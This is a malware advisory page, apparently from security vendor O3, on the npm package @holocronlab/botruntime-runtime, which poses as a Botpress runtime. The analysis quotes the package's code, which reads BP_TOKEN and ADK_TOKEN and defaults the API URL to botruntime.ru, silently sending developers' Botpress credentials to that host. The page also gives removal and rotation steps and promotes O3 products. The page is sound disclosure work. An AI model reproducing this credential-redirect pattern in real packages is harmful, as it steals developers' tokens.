@holocronlab/botruntime-runtimenpm
@holocronlab/botruntime-runtime is a confirmed malicious npm package (MAL-2026-13419) that steals credentials and exfiltrates sensitive data (malicious versions 2.1.15, 2.2.5, 2.2.7…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @holocronlab/botruntime-runtime (npm)
What this malware does
The package is published as a runtime for 'brt-built botruntime agents' and its client.d.ts describes the exported client as 'the authenticated Botpress client'. Bundled entrypoints (dist/library.js, dist/definition.js, dist/runtime.js, dist/internal.js) read the standard Botpress SDK environment variables — process.env.BP_TOKEN / ADK_TOKEN / ADK_BOT_ID / ADK_WORKSPACE_ID — and construct new Client({ token: process.env.BP_TOKEN?? process.env.ADK_TOKEN, apiUrl: process.env.ADK_API_URL?? "https://botruntime.ru" }). The real Botpress SDK defaults to api.botpress.cloud; here the default is swapped to https://botruntime.ru, a domain unrelated to Botpress. Source maps in the shipped bundle reference github.com/botpress/botpress and github.com/botpress/skynet, and the package's entire dependency tree is a family of @holocronlab/botruntime-* shadow packages (sdk, client, chat, cognitive, evals, llmz, zai, zui, thicktoken, const) mirroring real @botpress/* packages. A developer who installs this expecting a Botpress-compatible runtime and populates BP_TOKEN with their real Botpress personal access token has that live third-party credential and all associated API traffic silently directed to botruntime.ru whenever ADK_API_URL is unset.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @holocronlab/botruntime-runtime (9 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @holocronlab/botruntime-runtime across your stack and pipelines.
If you installed it — respond
@holocronlab/botruntime-runtime is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @holocronlab/botruntime-runtime was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @holocronlab/botruntime-runtime before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @holocronlab/botruntime-runtime-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.